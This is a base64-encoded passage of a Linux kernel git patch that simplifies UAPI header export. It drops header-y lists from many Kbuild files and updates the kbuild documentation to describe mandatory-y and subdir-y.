aC90aWxlL2luY2x1ZGUvYXNtL0tidWlsZCAgICAgICAgICAgICAgICB8ICAgMyAtCiBhcmNoL3Rp
bGUvaW5jbHVkZS91YXBpL2FyY2gvS2J1aWxkICAgICAgICAgIHwgIDE3IC0KIGFyY2gvdGlsZS9p
bmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAgICAgfCAgMTkgKy0KIGFyY2gvdW5pY29yZTMy
L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgfCAgIDYgLQogYXJjaC94ODYvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQgICAgICAgICAgICB8ICA1OCAtLS0tCiBhcmNoL3h0ZW5zYS9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZCAgICAgICAgIHwgIDIzIC0tCiBpbmNsdWRlL0tidWlsZCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHwgICAyIC0KIGluY2x1ZGUvYXNtLWdlbmVyaWMvS2J1aWxk
LmFzbSAgICAgICAgICAgICAgfCAgIDEgLQogaW5jbHVkZS9zY3NpL2ZjL0tidWlsZCAgICAgICAg
ICAgICAgICAgICAgICB8ICAgMAogaW5jbHVkZS91YXBpL0tidWlsZCAgICAgICAgICAgICAgICAg
ICAgICAgICB8ICAxNSAtCiBpbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMvS2J1aWxkICAgICAgICAg
ICAgIHwgIDM2IC0tLQogaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc20gICAgICAg
ICB8ICA2MiArKy0tCiBpbmNsdWRlL3VhcGkvZHJtL0tidWlsZCAgICAgICAgICAgICAgICAgICAg
IHwgIDIyIC0tCiBpbmNsdWRlL3VhcGkvbGludXgvS2J1aWxkICAgICAgICAgICAgICAgICAgIHwg
NDgzIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIGluY2x1ZGUvdWFwaS9saW51eC9hbmRy
b2lkL0tidWlsZCAgICAgICAgICAgfCAgIDIgLQogaW5jbHVkZS91YXBpL2xpbnV4L2J5dGVvcmRl
ci9LYnVpbGQgICAgICAgICB8ICAgMyAtCiBpbmNsdWRlL3VhcGkvbGludXgvY2FpZi9LYnVpbGQg
ICAgICAgICAgICAgIHwgICAzIC0KIGluY2x1ZGUvdWFwaS9saW51eC9jYW4vS2J1aWxkICAgICAg
ICAgICAgICAgfCAgIDYgLQogaW5jbHVkZS91YXBpL2xpbnV4L2R2Yi9LYnVpbGQgICAgICAgICAg
ICAgICB8ICAgOSAtCiBpbmNsdWRlL3VhcGkvbGludXgvaGRsYy9LYnVpbGQgICAgICAgICAgICAg
IHwgICAyIC0KIGluY2x1ZGUvdWFwaS9saW51eC9oc2kvS2J1aWxkICAgICAgICAgICAgICAgfCAg
IDIgLQogaW5jbHVkZS91YXBpL2xpbnV4L2lpby9LYnVpbGQgICAgICAgICAgICAgICB8ICAgMyAt
CiBpbmNsdWRlL3VhcGkvbGludXgvaXNkbi9LYnVpbGQgICAgICAgICAgICAgIHwgICAyIC0KIGlu
Y2x1ZGUvdWFwaS9saW51eC9tbWMvS2J1aWxkICAgICAgICAgICAgICAgfCAgIDIgLQogaW5jbHVk
ZS91YXBpL2xpbnV4L25ldGZpbHRlci9LYnVpbGQgICAgICAgICB8ICA4OSAtLS0tLQogaW5jbHVk
ZS91YXBpL2xpbnV4L25ldGZpbHRlci9pcHNldC9LYnVpbGQgICB8ICAgNSAtCiBpbmNsdWRlL3Vh
cGkvbGludXgvbmV0ZmlsdGVyX2FycC9LYnVpbGQgICAgIHwgICAzIC0KIGluY2x1ZGUvdWFwaS9s
aW51eC9uZXRmaWx0ZXJfYnJpZGdlL0tidWlsZCAgfCAgMTggLS0KIGluY2x1ZGUvdWFwaS9saW51
eC9uZXRmaWx0ZXJfaXB2NC9LYnVpbGQgICAgfCAgMTAgLQogaW5jbHVkZS91YXBpL2xpbnV4L25l
dGZpbHRlcl9pcHY2L0tidWlsZCAgICB8ICAxMyAtCiBpbmNsdWRlL3VhcGkvbGludXgvbmZzZC9L
YnVpbGQgICAgICAgICAgICAgIHwgICA2IC0KIGluY2x1ZGUvdWFwaS9saW51eC9yYWlkL0tidWls
ZCAgICAgICAgICAgICAgfCAgIDMgLQogaW5jbHVkZS91YXBpL2xpbnV4L3NwaS9LYnVpbGQgICAg
ICAgICAgICAgICB8ICAgMiAtCiBpbmNsdWRlL3VhcGkvbGludXgvc3VucnBjL0tidWlsZCAgICAg
ICAgICAgIHwgICAyIC0KIGluY2x1ZGUvdWFwaS9saW51eC90Y19hY3QvS2J1aWxkICAgICAgICAg
ICAgfCAgMTUgLQogaW5jbHVkZS91YXBpL2xpbnV4L3RjX2VtYXRjaC9LYnVpbGQgICAgICAgICB8
ICAgNSAtCiBpbmNsdWRlL3VhcGkvbGludXgvdXNiL0tidWlsZCAgICAgICAgICAgICAgIHwgIDEy
IC0KIGluY2x1ZGUvdWFwaS9saW51eC93aW1heC9LYnVpbGQgICAgICAgICAgICAgfCAgIDIgLQog
aW5jbHVkZS91YXBpL21pc2MvS2J1aWxkICAgICAgICAgICAgICAgICAgICB8ICAgMiAtCiBpbmNs
dWRlL3VhcGkvbXRkL0tidWlsZCAgICAgICAgICAgICAgICAgICAgIHwgICA2IC0KIGluY2x1ZGUv
dWFwaS9yZG1hL0tidWlsZCAgICAgICAgICAgICAgICAgICAgfCAgMTggLS0KIGluY2x1ZGUvdWFw
aS9yZG1hL2hmaS9LYnVpbGQgICAgICAgICAgICAgICAgfCAgIDIgLQogaW5jbHVkZS91YXBpL3Nj
c2kvS2J1aWxkICAgICAgICAgICAgICAgICAgICB8ICAgNiAtCiBpbmNsdWRlL3VhcGkvc2NzaS9m
Yy9LYnVpbGQgICAgICAgICAgICAgICAgIHwgICA1IC0KIGluY2x1ZGUvdWFwaS9zb3VuZC9LYnVp
bGQgICAgICAgICAgICAgICAgICAgfCAgMTYgLQogaW5jbHVkZS91YXBpL3ZpZGVvL0tidWlsZCAg
ICAgICAgICAgICAgICAgICB8ICAgNCAtCiBpbmNsdWRlL3VhcGkveGVuL0tidWlsZCAgICAgICAg
ICAgICAgICAgICAgIHwgICA1IC0KIGluY2x1ZGUvdmlkZW8vS2J1aWxkICAgICAgICAgICAgICAg
ICAgICAgICAgfCAgIDAKIHNjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3QgICAgICAgICAgICAg
ICAgfCAgNDUgKy0tCiA4MSBmaWxlcyBjaGFuZ2VkLCA5MiBpbnNlcnRpb25zKCspLCAxNzQ1IGRl
bGV0aW9ucygtKQogZGVsZXRlIG1vZGUgMTAwNjQ0IGFyY2gvY3Jpcy9pbmNsdWRlL3VhcGkvYXJj
aC12MTAvYXJjaC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBhcmNoL2NyaXMvaW5jbHVkZS91
YXBpL2FyY2gtdjMyL2FyY2gvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgYXJjaC90aWxlL2lu
Y2x1ZGUvdWFwaS9hcmNoL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvS2J1aWxk
CiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCiBkZWxl
dGUgbW9kZSAxMDA2NDQgaW5jbHVkZS9zY3NpL2ZjL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0
IGluY2x1ZGUvdWFwaS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvYXNt
LWdlbmVyaWMvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2RybS9LYnVp
bGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvS2J1aWxkCiBkZWxldGUg
bW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L2FuZHJvaWQvS2J1aWxkCiBkZWxldGUgbW9k
ZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L2J5dGVvcmRlci9LYnVpbGQKIGRlbGV0ZSBtb2Rl
IDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvY2FpZi9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0
NCBpbmNsdWRlL3VhcGkvbGludXgvY2FuL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1
ZGUvdWFwaS9saW51eC9kdmIvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBp
L2xpbnV4L2hkbGMvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4
L2hzaS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvaWlvL0ti
dWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9pc2RuL0tidWlsZAog
ZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9tbWMvS2J1aWxkCiBkZWxldGUg
bW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlci9LYnVpbGQKIGRlbGV0ZSBt
b2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyL2lwc2V0L0tidWlsZAogZGVs
ZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfYXJwL0tidWlsZAog
ZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfYnJpZGdlL0ti
dWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXJfaXB2
NC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVy
X2lwdjYvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L25mc2Qv
S2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L3JhaWQvS2J1aWxk
CiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L3NwaS9LYnVpbGQKIGRlbGV0
ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbGludXgvc3VucnBjL0tidWlsZAogZGVsZXRlIG1v
ZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9saW51eC90Y19hY3QvS2J1aWxkCiBkZWxldGUgbW9kZSAx
MDA2NDQgaW5jbHVkZS91YXBpL2xpbnV4L3RjX2VtYXRjaC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEw
MDY0NCBpbmNsdWRlL3VhcGkvbGludXgvdXNiL0tidWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGlu
Y2x1ZGUvdWFwaS9saW51eC93aW1heC9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRl
L3VhcGkvbWlzYy9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvbXRkL0ti
dWlsZAogZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9yZG1hL0tidWlsZAogZGVsZXRl
IG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS9yZG1hL2hmaS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEw
MDY0NCBpbmNsdWRlL3VhcGkvc2NzaS9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRl
L3VhcGkvc2NzaS9mYy9LYnVpbGQKIGRlbGV0ZSBtb2RlIDEwMDY0NCBpbmNsdWRlL3VhcGkvc291
bmQvS2J1aWxkCiBkZWxldGUgbW9kZSAxMDA2NDQgaW5jbHVkZS91YXBpL3ZpZGVvL0tidWlsZAog
ZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvdWFwaS94ZW4vS2J1aWxkCiBkZWxldGUgbW9kZSAx
MDA2NDQgaW5jbHVkZS92aWRlby9LYnVpbGQKCmRpZmYgLS1naXQgYS9Eb2N1bWVudGF0aW9uL2ti
dWlsZC9tYWtlZmlsZXMudHh0IGIvRG9jdW1lbnRhdGlvbi9rYnVpbGQvbWFrZWZpbGVzLnR4dApp
bmRleCAzN2I1MjVkMzI5YWUuLjUxYzA3MjA0OWU0NSAxMDA2NDQKLS0tIGEvRG9jdW1lbnRhdGlv
bi9rYnVpbGQvbWFrZWZpbGVzLnR4dAorKysgYi9Eb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmls
ZXMudHh0CkBAIC00NCwxMCArNDQsMTEgQEAgVGhpcyBkb2N1bWVudCBkZXNjcmliZXMgdGhlIExp
bnV4IGtlcm5lbCBNYWtlZmlsZXMuCiAJICAgLS0tIDYuMTEgUG9zdC1saW5rIHBhc3MKIAogCT09
PSA3IEtidWlsZCBzeW50YXggZm9yIGV4cG9ydGVkIGhlYWRlcnMKLQkJLS0tIDcuMSBoZWFkZXIt
eQorCQktLS0gNy4xIG1hbmRhdG9yeS15CiAJCS0tLSA3LjIgZ2VuaGRyLXkKIAkJLS0tIDcuMyBn
ZW5lcmljLXkKIAkJLS0tIDcuNCBnZW5lcmF0ZWQteQorCQktLS0gNy41IHN1YmRpci15CiAKIAk9
PT0gOCBLYnVpbGQgVmFyaWFibGVzCiAJPT09IDkgTWFrZWZpbGUgbGFuZ3VhZ2UKQEAgLTEyMzUs
NyArMTIzNiw3IEBAIFdoZW4ga2J1aWxkIGV4ZWN1dGVzLCB0aGUgZm9sbG93aW5nIHN0ZXBzIGFy
ZSBmb2xsb3dlZCAocm91Z2hseSk6CiAJdGhhdCBtYXkgYmUgc2hhcmVkIGJldHdlZW4gaW5kaXZp
ZHVhbCBhcmNoaXRlY3R1cmVzLgogCVRoZSByZWNvbW1lbmRlZCBhcHByb2FjaCBob3cgdG8gdXNl
IGEgZ2VuZXJpYyBoZWFkZXIgZmlsZSBpcwogCXRvIGxpc3QgdGhlIGZpbGUgaW4gdGhlIEtidWls
ZCBmaWxlLgotCVNlZSAiNy40IGdlbmVyaWMteSIgZm9yIGZ1cnRoZXIgaW5mbyBvbiBzeW50YXgg
ZXRjLgorCVNlZSAiNy4zIGdlbmVyaWMteSIgZm9yIGZ1cnRoZXIgaW5mbyBvbiBzeW50YXggZXRj
LgogCiAtLS0gNi4xMSBQb3N0LWxpbmsgcGFzcwogCkBAIC0xMjYyLDM3ICsxMjYzLDMzIEBAIFRo
ZSBwcmUtcHJvY2Vzc2luZyBkb2VzOgogLSBkcm9wIGluY2x1ZGUgb2YgY29tcGlsZXIuaAogLSBk
cm9wIGFsbCBzZWN0aW9ucyB0aGF0IGFyZSBrZXJuZWwgaW50ZXJuYWwgKGd1YXJkZWQgYnkgaWZk
ZWYgX19LRVJORUxfXykKIAotRWFjaCByZWxldmFudCBkaXJlY3RvcnkgY29udGFpbnMgYSBmaWxl
IG5hbWUgIktidWlsZCIgd2hpY2ggc3BlY2lmaWVzIHRoZQotaGVhZGVycyB0byBiZSBleHBvcnRl
ZC4KLVNlZSBzdWJzZXF1ZW50IGNoYXB0ZXIgZm9yIHRoZSBzeW50YXggb2YgdGhlIEtidWlsZCBm
aWxlLgorQWxsIGhlYWRlcnMgdW5kZXIgaW5jbHVkZS91YXBpLywgaW5jbHVkZS9nZW5lcmF0ZWQv
dWFwaS8sCithcmNoLzxhcmNoPi9pbmNsdWRlL3VhcGkvYXNtLyBhbmQgYXJjaC88YXJjaD4vaW5j
bHVkZS9nZW5lcmF0ZWQvdWFwaS9hc20vCithcmUgZXhwb3J0ZWQuCiAKLQktLS0gNy4xIGhlYWRl
ci15CitBIEtidWlsZCBmaWxlIG1heSBiZSBkZWZpbmVkIHVuZGVyIGFyY2gvPGFyY2g+L2luY2x1
ZGUvdWFwaS9hc20vIGFuZAorYXJjaC88YXJjaD4vaW5jbHVkZS9hc20vIHRvIGxpc3QgYXNtIGZp
bGVzIGNvbWluZyBmcm9tIGFzbS1nZW5lcmljLgorU2VlIHN1YnNlcXVlbnQgY2hhcHRlciBmb3Ig
dGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUuCiAKLQloZWFkZXIteSBzcGVjaWZpZXMgaGVh
ZGVyIGZpbGVzIHRvIGJlIGV4cG9ydGVkLgorCS0tLSA3LjEgbWFuZGF0b3J5LXkKIAotCQlFeGFt
cGxlOgotCQkJI2luY2x1ZGUvbGludXgvS2J1aWxkCi0JCQloZWFkZXIteSArPSB1c2IvCi0JCQlo
ZWFkZXIteSArPSBhaW9fYWJpLmgKKwltYW5kYXRvcnkteSBpcyBlc3NlbnRpYWxseSB1c2VkIGJ5
IGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCisJdG8gZGVmaW5lIHRoZSBtaW5p
bXVuIHNldCBvZiBoZWFkZXJzIHRoYXQgbXVzdCBiZSBleHBvcnRlZCBpbgorCWluY2x1ZGUvYXNt
LgogCi0JVGhlIGNvbnZlbnRpb24gaXMgdG8gbGlzdCBvbmUgZmlsZSBwZXIgbGluZSBhbmQKKwlU
aGUgY29udmVudGlvbiBpcyB0byBsaXN0IG9uZSBzdWJkaXIgcGVyIGxpbmUgYW5kCiAJcHJlZmVy
YWJseSBpbiBhbHBoYWJldGljIG9yZGVyLgogCi0JaGVhZGVyLXkgYWxzbyBzcGVjaWZpZXMgd2hp
Y2ggc3ViZGlyZWN0b3JpZXMgdG8gdmlzaXQuCi0JQSBzdWJkaXJlY3RvcnkgaXMgaWRlbnRpZmll
ZCBieSBhIHRyYWlsaW5nICcvJyB3aGljaAotCWNhbiBiZSBzZWVuIGluIHRoZSBleGFtcGxlIGFi
b3ZlIGZvciB0aGUgdXNiIHN1YmRpcmVjdG9yeS4KLQotCVN1YmRpcmVjdG9yaWVzIGFyZSB2aXNp
dGVkIGJlZm9yZSB0aGVpciBwYXJlbnQgZGlyZWN0b3JpZXMuCi0KIAktLS0gNy4yIGdlbmhkci15
CiAKLQlnZW5oZHIteSBzcGVjaWZpZXMgZ2VuZXJhdGVkIGZpbGVzIHRvIGJlIGV4cG9ydGVkLgot
CUdlbmVyYXRlZCBmaWxlcyBhcmUgc3BlY2lhbCBhcyB0aGV5IG5lZWQgdG8gYmUgbG9va2VkCi0J
dXAgaW4gYW5vdGhlciBkaXJlY3Rvcnkgd2hlbiBkb2luZyAnbWFrZSBPPS4uLicgYnVpbGRzLgor
CWdlbmhkci15IHNwZWNpZmllcyBhc20gZmlsZXMgdG8gYmUgZ2VuZXJhdGVkLgogCiAJCUV4YW1w
bGU6Ci0JCQkjaW5jbHVkZS9saW51eC9LYnVpbGQKLQkJCWdlbmhkci15ICs9IHZlcnNpb24uaAor
CQkJI2FyY2gveDg2L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisJCQlnZW5oZHIteSArPSB1bmlz
dGRfMzIuaAorCQkJZ2VuaGRyLXkgKz0gdW5pc3RkXzY0LmgKKwkJCWdlbmhkci15ICs9IHVuaXN0
ZF94MzIuaAorCiAKIAktLS0gNy4zIGdlbmVyaWMteQogCkBAIC0xMzM0LDYgKzEzMzEsMTggQEAg
U2VlIHN1YnNlcXVlbnQgY2hhcHRlciBmb3IgdGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUu
CiAJCQkjYXJjaC94ODYvaW5jbHVkZS9hc20vS2J1aWxkCiAJCQlnZW5lcmF0ZWQteSArPSBzeXNj
YWxsc18zMi5oCiAKKwktLS0gNy41IHN1YmRpci15CisKKwlzdWJkaXIteSBtYXkgYmUgdXNlZCB0
byBzcGVjaWZ5IGEgc3ViZGlyZWN0b3J5IHRvIGJlIGV4cG9ydGVkLgorCisJCUV4YW1wbGU6CisJ
CQkjYXJjaC9jcmlzL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisJCQlzdWJkaXIteSArPSAuLi9h
cmNoLXYxMC9hcmNoLworCQkJc3ViZGlyLXkgKz0gLi4vYXJjaC12MzIvYXJjaC8KKworCVRoZSBj
b252ZW50aW9uIGlzIHRvIGxpc3Qgb25lIHN1YmRpciBwZXIgbGluZSBhbmQKKwlwcmVmZXJhYmx5
IGluIGFscGhhYmV0aWMgb3JkZXIuCisKID09PSA4IEtidWlsZCBWYXJpYWJsZXMKIAogVGhlIHRv
cCBNYWtlZmlsZSBleHBvcnRzIHRoZSBmb2xsb3dpbmcgdmFyaWFibGVzOgpkaWZmIC0tZ2l0IGEv
YXJjaC9hbHBoYS9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvYWxwaGEvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQKaW5kZXggZDk2ZjJlZjViNjM5Li5iMTViZjZiYzBlOTQgMTAwNjQ0Ci0t
LSBhL2FyY2gvYWxwaGEvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9hbHBoYS9p
bmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMSw0MyArMSwyIEBACiAjIFVBUEkgSGVhZGVyIGV4
cG9ydCBsaXN0CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCi0K
LWhlYWRlci15ICs9IGEub3V0LmgKLWhlYWRlci15ICs9IGF1eHZlYy5oCi1oZWFkZXIteSArPSBi
aXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVhZGVyLXkgKz0gY29tcGls
ZXIuaAotaGVhZGVyLXkgKz0gY29uc29sZS5oCi1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIt
eSArPSBmY250bC5oCi1oZWFkZXIteSArPSBmcHUuaAotaGVhZGVyLXkgKz0gZ2VudHJhcC5oCi1o
ZWFkZXIteSArPSBpb2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gaXBj
YnVmLmgKLWhlYWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVhZGVy
LXkgKz0gbXNnYnVmLmgKLWhlYWRlci15ICs9IHBhbC5oCi1oZWFkZXIteSArPSBwYXJhbS5oCi1o
ZWFkZXIteSArPSBwb2xsLmgKLWhlYWRlci15ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRlci15ICs9
IHB0cmFjZS5oCi1oZWFkZXIteSArPSByZWcuaAotaGVhZGVyLXkgKz0gcmVnZGVmLmgKLWhlYWRl
ci15ICs9IHJlc291cmNlLmgKLWhlYWRlci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIteSArPSBzZXR1
cC5oCi1oZWFkZXIteSArPSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFk
ZXIteSArPSBzaWdpbmZvLmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzb2Nr
ZXQuaAotaGVhZGVyLXkgKz0gc29ja2lvcy5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15
ICs9IHN0YXRmcy5oCi1oZWFkZXIteSArPSBzd2FiLmgKLWhlYWRlci15ICs9IHN5c2luZm8uaAot
aGVhZGVyLXkgKz0gdGVybWJpdHMuaAotaGVhZGVyLXkgKz0gdGVybWlvcy5oCi1oZWFkZXIteSAr
PSB0eXBlcy5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0tZ2l0IGEvYXJjaC9hcmMvaW5j
bHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApp
bmRleCBmNTBkMDJkZjc4ZDUuLmIxNWJmNmJjMGU5NCAxMDA2NDQKLS0tIGEvYXJjaC9hcmMvaW5j
bHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9hcmMvaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQKQEAgLTEsNSArMSwyIEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGlu
Y2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCi1oZWFkZXIteSArPSBlbGYuaAotaGVh
ZGVyLXkgKz0gcGFnZS5oCi1oZWFkZXIteSArPSBjYWNoZWN0bC5oCmRpZmYgLS1naXQgYS9hcmNo
L2FybS9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvYXJtL2luY2x1ZGUvdWFwaS9hc20v
S2J1aWxkCmluZGV4IDQ2YTc2Y2Q2YWNiNi4uNjA3ZjcwMmMyZDYyIDEwMDY0NAotLS0gYS9hcmNo
L2FybS9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAorKysgYi9hcmNoL2FybS9pbmNsdWRlL3VhcGkv
YXNtL0tidWlsZApAQCAtMSwyMyArMSw2IEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBp
bmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQuYXNtCiAKLWhlYWRlci15ICs9
IGF1eHZlYy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVhZGVyLXkgKz0gZmNudGwuaAot
aGVhZGVyLXkgKz0gaHdjYXAuaAotaGVhZGVyLXkgKz0gaW9jdGxzLmgKLWhlYWRlci15ICs9IGt2
bV9wYXJhLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVhZGVyLXkgKz0gcGVyZl9yZWdzLmgKLWhl
YWRlci15ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRlci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSAr
PSBzZXR1cC5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHNpZ25hbC5o
Ci1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9IHN0YXRmcy5oCi1oZWFkZXIteSArPSBz
d2FiLmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCiBnZW5oZHIteSArPSB1bmlzdGQtY29tbW9uLmgK
IGdlbmhkci15ICs9IHVuaXN0ZC1vYWJpLmgKIGdlbmhkci15ICs9IHVuaXN0ZC1lYWJpLmgKZGlm
ZiAtLWdpdCBhL2FyY2gvYXJtNjQvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL2FybTY0
L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDgyNWIwZmU1MWMyYi4uMTNhOTdhYTIyODVm
IDEwMDY0NAotLS0gYS9hcmNoL2FybTY0L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2Fy
Y2gvYXJtNjQvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTIsMjEgKzIsMyBAQAogaW5jbHVk
ZSBpbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMvS2J1aWxkLmFzbQogCiBnZW5lcmljLXkgKz0ga3Zt
X3BhcmEuaAotCi1oZWFkZXIteSArPSBhdXh2ZWMuaAotaGVhZGVyLXkgKz0gYml0c3Blcmxvbmcu
aAotaGVhZGVyLXkgKz0gYnl0ZW9yZGVyLmgKLWhlYWRlci15ICs9IGZjbnRsLmgKLWhlYWRlci15
ICs9IGh3Y2FwLmgKLWhlYWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9IHBlcmZfcmVn
cy5oCi1oZWFkZXIteSArPSBwYXJhbS5oCi1oZWFkZXIteSArPSBwdHJhY2UuaAotaGVhZGVyLXkg
Kz0gc2V0dXAuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFkZXIteSArPSBzaWdpbmZv
LmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15ICs9
IHN0YXRmcy5oCi1oZWFkZXIteSArPSB1Y29udGV4dC5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApk
aWZmIC0tZ2l0IGEvYXJjaC9hdnIzMi9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvYXZy
MzIvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggMDhkOGEzZDc2ZWE4Li42MTAzOTUwODMz
NjQgMTAwNjQ0Ci0tLSBhL2FyY2gvYXZyMzIvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIv
YXJjaC9hdnIzMi9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMSwyNiArMSw2IEBACiAjIFVB
UEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9L
YnVpbGQuYXNtCiAKLWhlYWRlci15ICs9IGF1eHZlYy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIu
aAotaGVhZGVyLXkgKz0gY2FjaGVjdGwuaAotaGVhZGVyLXkgKz0gbXNnYnVmLmgKLWhlYWRlci15
ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRlci15ICs9IHB0cmFj
